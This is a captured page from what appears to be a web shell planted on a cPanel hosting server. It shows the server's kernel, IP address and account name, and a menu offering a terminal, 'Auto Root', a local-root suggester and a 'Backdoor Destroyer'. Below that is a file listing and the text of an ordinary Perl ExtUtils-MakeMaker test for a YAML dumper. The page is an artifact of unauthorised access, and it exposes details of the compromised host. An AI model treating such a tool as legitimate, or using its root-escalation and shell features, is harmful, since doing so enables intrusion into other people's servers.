Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
ExtUtils-MakeMaker /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
lib
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
testdata
[ DIR ]
drwxr-xr-x
2015-02-14 16:55
00compile.t
929
B
-r--r--r--
2014-12-27 11:48
01perl_bugs.t
539
B
-r--r--r--
2014-12-27 11:48
FIRST_MAKEFILE.t
808
B
-r--r--r--
2014-12-27 11:49
INST.t
4.72
KB
-r--r--r--
2014-12-27 11:48
INSTALL_BASE.t
2.01
KB
-r--r--r--
2014-12-27 11:49
INST_PREFIX.t
9.07
KB
-r--r--r--
2014-12-27 11:48
Liblist.t
670
B
-r--r--r--
2014-12-27 11:48
META_for_testing.json
1.39
KB
-r--r--r--
2014-12-27 11:48
META_for_testing.yml
839
B
-r--r--r--
2014-12-27 11:48
META_for_testing_tricky_version.yml
574
B
-r--r--r--
2014-12-27 11:48
MM_Any.t
747
B
-r--r--r--
2014-12-27 11:48
MM_BeOS.t
1.04
KB
-r--r--r--
2014-12-27 11:48
MM_Cygwin.t
3.2
KB
-r--r--r--
2014-12-27 11:48
MM_NW5.t
7.68
KB
-r--r--r--
2014-12-27 11:48
MM_OS2.t
6.79
KB
-r--r--r--
2014-12-27 11:48
MM_Unix.t
5.63
KB
-r--r--r--
2014-12-27 11:49
MM_VMS.t
1.62
KB
-r--r--r--
2014-12-27 11:48
MM_Win32.t
10.83
KB
-r--r--r--
2014-12-27 11:48
MakeMaker_Parameters.t
1.57
KB
-r--r--r--
2014-12-27 11:49
Mkbootstrap.t
3.91
KB
-r--r--r--
2014-12-27 11:48
PL_FILES.t
797
B
-r--r--r--
2014-12-27 11:49
VERSION_FROM.t
599
B
-r--r--r--
2014-12-27 11:48
WriteEmptyMakefile.t
655
B
-r--r--r--
2014-12-27 11:48
arch_check.t
1.92
KB
-r--r--r--
2014-12-27 11:48
backwards.t
354
B
-r--r--r--
2014-12-27 11:48
basic.t
14.61
KB
-r--r--r--
2014-12-27 11:49
build_man.t
1.65
KB
-r--r--r--
2014-12-27 11:48
cd.t
1.15
KB
-r--r--r--
2014-12-27 11:49
config.t
261
B
-r--r--r--
2014-12-27 11:48
dir_target.t
256
B
-r--r--r--
2014-12-27 11:48
echo.t
2.48
KB
-r--r--r--
2014-12-27 11:49
fix_libs.t
693
B
-r--r--r--
2014-12-27 11:48
fixin.t
2.39
KB
-r--r--r--
2014-12-27 11:48
hints.t
1.47
KB
-r--r--r--
2014-12-27 11:48
installed_file.t
933
B
-r--r--r--
2014-12-27 11:48
is_of_type.t
842
B
-r--r--r--
2014-12-27 11:48
make.t
271
B
-r--r--r--
2014-12-27 11:48
maketext_filter.t
905
B
-r--r--r--
2014-12-27 11:48
meta_convert.t
3.35
KB
-r--r--r--
2014-12-27 11:49
metafile_data.t
22.35
KB
-r--r--r--
2014-12-27 11:48
metafile_file.t
7.37
KB
-r--r--r--
2014-12-27 11:48
min_perl_version.t
6.03
KB
-r--r--r--
2014-12-27 11:49
miniperl.t
1.12
KB
-r--r--r--
2014-12-27 11:49
oneliner.t
2.07
KB
-r--r--r--
2014-12-27 11:49
parse_abstract.t
1.59
KB
-r--r--r--
2014-12-27 11:48
parse_version.t
4.78
KB
-r--r--r--
2014-12-27 11:49
pm.t
741
B
-r--r--r--
2014-12-27 11:48
pm_to_blib.t
1.51
KB
-r--r--r--
2014-12-27 11:49
pod2man.t
904
B
-r--r--r--
2014-12-27 11:48
postamble.t
1.61
KB
-r--r--r--
2014-12-27 11:49
prefixify.t
1.23
KB
-r--r--r--
2014-12-27 11:48
prereq.t
3.36
KB
-r--r--r--
2014-12-27 11:49
prereq_print.t
1.91
KB
-r--r--r--
2014-12-27 11:48
problems.t
972
B
-r--r--r--
2014-12-27 11:48
prompt.t
1.24
KB
-r--r--r--
2014-12-27 11:48
recurs.t
2.9
KB
-r--r--r--
2014-12-27 11:49
revision.t
411
B
-r--r--r--
2014-12-27 11:48
several_authors.t
3.55
KB
-r--r--r--
2014-12-27 11:49
split_command.t
1.44
KB
-r--r--r--
2014-12-27 11:48
test_boilerplate.t
389
B
-r--r--r--
2014-12-27 11:48
testlib.t
784
B
-r--r--r--
2014-12-27 11:48
writemakefile_args.t
7.01
KB
-r--r--r--
2014-12-27 11:49
xs.t
999
B
-r--r--r--
2014-12-27 11:49
Save
Rename
#!/usr/bin/perl -w # This is a test of the fake YAML dumper implemented by EUMM: # ExtUtils::MM_Any::metafile_file BEGIN { unshift @INC, 't/lib'; } use strict; use Test::More tests => 16; require ExtUtils::MM_Any; my $mm = bless {}, 'ExtUtils::MM_Any'; { my @meta = ( a => 1, b => 2 ); my $expected = <<YAML; --- #YAML:1.0 a: 1 b: 2 YAML is($mm->metafile_file(@meta), $expected, "dump for flat hashes works ok"); } { my @meta = ( k1 => 'some key and value', k2 => undef, k3 => 1 ); my $expected = <<YAML; --- #YAML:1.0 k1: some key and value k2: ~ k3: 1 YAML is($mm->metafile_file(@meta), $expected, "dumping strings and undefs is ok"); } { my @meta = ( a => 1, b => 2, h => { hh => 1 } ); my $expected = <<YAML; --- #YAML:1.0 a: 1 b: 2 h: hh: 1 YAML is($mm->metafile_file(@meta), $expected, "dump for nested hashes works ok"); } { my @meta = ( a => 1, b => 2, h => { h1 => 'x', h2 => 'z' } ); my $expected = <<YAML; --- #YAML:1.0 a: 1 b: 2 h: h1: x h2: z YAML is($mm->metafile_file(@meta), $expected, "nested hashes sort ascii-betically"); # to tell the truth, they sort case-insensitively # that's hard to test for Perl with unstable sort's } { my @meta = ( a => 1, b => 2, h => { hh => { hhh => 1 } } ); my $expected = <<YAML; --- #YAML:1.0 a: 1 b: 2 h: hh: hhh: 1 YAML is($mm->metafile_file(@meta), $expected, "dump for hashes (with more nesting) works ok"); } { my @meta = ( a => 1, k => [ qw(w y z) ] ); my $expected = <<YAML; --- #YAML:1.0 a: 1 k: - w - y - z YAML is($mm->metafile_file(@meta), $expected, "array of strings are handled ok"); } is($mm->metafile_file( a => {}, b => [], c => undef ), <<'YAML', 'empty hashes and arrays'); --- #YAML:1.0 a: {} b: [] c: ~ YAML { my @meta = ( name => 'My-Module', version => '0.1', version_from => 'lib/My/Module.pm', installdirs => 'site', abstract => 'A does-it-all module', license => 'perl', generated_by => 'myself', author => 'John Doe <doe@doeland.org>', distribution_type => 'module', requires => { 'My::Module::Helper' => 0, 'Your::Module' => '1.5', }, 'meta-spec' => { version => '1.1', url => 'http://module-build.sourceforge.net/META-spec-new.html', }, ); my $expected = <<'YAML'; --- #YAML:1.0 name: My-Module version: 0.1 version_from: lib/My/Module.pm installdirs: site abstract: A does-it-all module license: perl generated_by: myself author: John Doe <doe@doeland.org> distribution_type: module requires: My::Module::Helper: 0 Your::Module: 1.5 meta-spec: url: http://module-build.sourceforge.net/META-spec-new.html version: 1.1 YAML is($mm->metafile_file(@meta), $expected, "dump for something like META.yml works"); } { my @meta = ( name => 'My-Module', version => '0.1', version_from => 'lib/My/Module.pm', installdirs => 'site', abstract => 'A does-it-all module', license => 'perl', generated_by => 'myself', author => 'John Doe <doe@doeland.org>', distribution_type => 'module', requires => { 'My::Module::Helper' => 0, 'Your::Module' => '1.5', }, recommends => { 'Test::More' => 0, 'Test::Pod' => 1.18, 'Test::Pod::Coverage' => 1 }, 'meta-spec' => { version => '1.1', url => 'http://module-build.sourceforge.net/META-spec-new.html', }, ); my $expected = <<'YAML'; --- #YAML:1.0 name: My-Module version: 0.1 version_from: lib/My/Module.pm installdirs: site abstract: A does-it-all module license: perl generated_by: myself author: John Doe <doe@doeland.org> distribution_type: module requires: My::Module::Helper: 0 Your::Module: 1.5 recommends: Test::More: 0 Test::Pod: 1.18 Test::Pod::Coverage: 1 meta-spec: url: http://module-build.sourceforge.net/META-spec-new.html version: 1.1 YAML is($mm->metafile_file(@meta), $expected, "META.yml with extra 'recommends' works"); } { my @meta = ( name => 'My-Module', version => '0.1', version_from => 'lib/My/Module.pm', installdirs => 'site', abstract => 'A does-it-all module', license => 'perl', generated_by => 'myself', author => 'John Doe <doe@doeland.org>', distribution_type => 'module', requires => { 'My::Module::Helper' => 0, 'Your::Module' => '1.5', }, recommends => { 'Test::More' => 0, 'Test::Pod' => 1.18, 'Test::Pod::Coverage' => 1 }, no_index => { dir => [ qw(inc) ], file => [ qw(TODO NOTES) ], }, 'meta-spec' => { version => '1.1', url => 'http://module-build.sourceforge.net/META-spec-new.html', }, ); my $expected = <<'YAML'; --- #YAML:1.0 name: My-Module version: 0.1 version_from: lib/My/Module.pm installdirs: site abstract: A does-it-all module license: perl generated_by: myself author: John Doe <doe@doeland.org> distribution_type: module requires: My::Module::Helper: 0 Your::Module: 1.5 recommends: Test::More: 0 Test::Pod: 1.18 Test::Pod::Coverage: 1 no_index: dir: - inc file: - TODO - NOTES meta-spec: url: http://module-build.sourceforge.net/META-spec-new.html version: 1.1 YAML is($mm->metafile_file(@meta), $expected, "META.yml with extra 'no_index' works"); # Make sure YAML.pm can ready our output SKIP: { skip "Need YAML.pm to test if it can load META.yml", 1 unless eval { require YAML }; my $yaml_load = YAML::Load($mm->metafile_file(@meta)); is_deeply( $yaml_load, {@meta}, "META.yml can be read by YAML.pm" ); } SKIP: { # Load() behaves diffrently in versions prior to 1.06 skip "Need YAML::Tiny to test if it can load META.yml", 2 unless eval { require YAML::Tiny } and $YAML::Tiny::VERSION >= 1.06; my @yaml_load = YAML::Tiny::Load($mm->metafile_file(@meta)); is @yaml_load, 1, "YAML::Tiny saw one document in META.yml"; is_deeply( $yaml_load[0], {@meta}, "META.yml can be read by YAML::Tiny" ); } } { my @meta = ( k => 'a : b', 'x : y' => 1 ); my $expected = <<YAML; --- #YAML:1.0 k: a : b x : y: 1 YAML # NOTE: the output is not YAML-equivalent to the input is($mm->metafile_file(@meta), $expected, "no quoting is done"); } { my @meta = ( k => \*STDOUT ); eval { $mm->metafile_file(@meta) }; like($@, qr/^only nested hashes, arrays and objects are supported/, "we don't like but hash/array refs"); } { my @meta = ( k => [ [] ] ); eval { $mm->metafile_file(@meta) }; like($@, qr/^only nested arrays of non-refs are supported/, "we also don't like but array of strings"); } # recursive data structures: don't even think about it - endless recursion